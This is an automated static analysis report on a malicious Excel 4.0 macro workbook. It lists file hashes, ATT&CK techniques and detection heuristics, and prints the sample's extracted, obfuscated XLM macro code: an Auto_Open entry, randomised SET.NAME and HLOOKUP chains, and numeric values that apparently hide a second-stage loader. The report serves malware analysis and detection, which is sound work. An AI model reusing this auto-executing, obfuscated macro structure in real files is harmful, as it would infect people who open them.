Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2eca87606545ad74…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:34 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: b5c6efb7aee82fcc0d2e60b31e339d14 SHA-1: ff3491f209c1a2eee5f3eced2c72adfa94015830 SHA-256: 2eca87606545ad7477f97570095549ce010803a56301708fe424edc2f405eb13
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open entry, which is a common technique for executing malicious code upon opening. The presence of dangerous formula APIs in the Auto_Open macro indicates an intent to run arbitrary commands, likely to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6866 bytes
SHA-256: 707c7f78f6a2597e8bc884658d64b65c06da11ad0426807640144213f0ba6986
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vOScgOnGTua
' 0018     20 LABEL : Cell Value, String Constant - amugJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C160 
' 0018     25 LABEL : Cell Value, String Constant - BvVzgcYqOI len=0 
' 0018     26 LABEL : Cell Value, String Constant - cOSphSrMuEM len=0 
' 0018     24 LABEL : Cell Value, String Constant - HBmvkJnXL len=0 
' 0018     22 LABEL : Cell Value, String Constant - ihBLuZy len=0 
' 0018     24 LABEL : Cell Value, String Constant - jlqNAXhKg len=0 
' 0018     23 LABEL : Cell Value, String Constant - jSgHzcYE len=0 
' 0018     22 LABEL : Cell Value, String Constant - KGTvfUq len=0 
' 0018     23 LABEL : Cell Value, String Constant - MDUlsdKo len=0 
' 0018     22 LABEL : Cell Value, String Constant - RBdDtDl len=0 
' 0018     20 LABEL : Cell Value, String Constant - RbRkQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - rfSnhCMmt len=0 
' 0018     22 LABEL : Cell Value, String Constant - sJjvUnj len=0 
' 0018     22 LABEL : Cell Value, String Constant - TDCTOSj len=0 
' 0018     21 LABEL : Cell Value, String Constant - TJEvgj len=0 
' 0018     24 LABEL : Cell Value, String Constant - wqwxCGrPY len=0 
' 0018     25 LABEL : Cell Value, String Constant - XxeeixcqkZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - XYGJPDMz len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZimawQZqkUpq len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZLFPPLyDpo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vOScgOnGTua,C73,"SET.NAME("RBdDtDl",0+VALUE("0"))",""
'  vOScgOnGTua,C76,"SET.NAME("BvVzgcYqOI",RBdDtDl)",""
'  vOScgOnGTua,C80,"SET.NAME("wqwxCGrPY",RBdDtDl)",""
'  vOScgOnGTua,C83,"SET.NAME("sJjvUnj",COUNTA(rfSnhCMmt))",""
'  vOScgOnGTua,C87,"SET.NAME("jlqNAXhKg",COUNTA(ZimawQZqkUpq))",""
'  vOScgOnGTua,P87,"",-418.00000000000000000000
'  vOScgOnGTua,P88,"",178.00000000000000000000
'  vOScgOnGTua,P89,"",-830.00000000000000000000
'  vOScgOnGTua,P90,"",-37.00000000000000000000
'  vOScgOnGTua,P91,"",-518.00000000000000000000
'  vOScgOnGTua,C92,[],""
'  vOScgOnGTua,P92,"",-646.00000000000000000000
'  vOScgOnGTua,C96,"SET.NAME("jSgHzcYE","")",""
'  vOScgOnGTua,C101,"BvVzgcYqOI",""
'  vOScgOnGTua,C104,"SET.NAME("XYGJPDMz",HLOOKUP("*",rfSnhCMmt,BvVzgcYqOI,FALSE))",""
'  vOScgOnGTua,C106,"cOSphSrMuEM",""
'  vOScgOnGTua,C108,"SET.NAME("MDUlsdKo",RBdDtDl)",""
'  vOScgOnGTua,C110,[],""
'  vOScgOnGTua,C113,"MDUlsdKo",""
'  vOScgOnGTua,C116,"amugJ",""
'  vOScgOnGTua,C121,"TDCTOSj",""
'  vOScgOnGTua,C125,"KGTvfUq",""
'  vOScgOnGTua,C129,"SET.NAME("TJEvgj",VALUE(HLOOKUP("*",ZimawQZqkUpq,KGTvfUq,FALSE)))",""
'  vOScgOnGTua,C131,"HBmvkJnXL",""
'  vOScgOnGTua,C133,"jSgHzcYE",""
'  vOScgOnGTua,C137,"wqwxCGrPY",""
'  vOScgOnGTua,C139,NEXT(),""
'  vOScgOnGTua,C142,"RbRkQ",""
'  vOScgOnGTua,C146,[],""
'  vOScgOnGTua,C150,"ZLFPPLyDpo",""
'  vOScgOnGTua,C153,NEXT(),""
'  vOScgOnGTua,C158,RETURN(),""
'  vOScgOnGTua,C186,"SET.NAME("ihBLuZy",C73)",""
'  vOScgOnGTua,C190,"rfSnhCMmt",""
'  vOScgOnGTua,C195,"SET.NAME("ZimawQZqkUpq",R79C15)",""
'  vOScgOnGTua,C198,"SET.NAME("ZLFPPLyDpo",205)",""
'  vOScgOnGTua,C200,"SET.NAME("XxeeixcqkZ",3)",""
'  vOScgOnGTua,C204,ihBLuZy(),""
'  vOScgOnGTua,C205,HALT(),""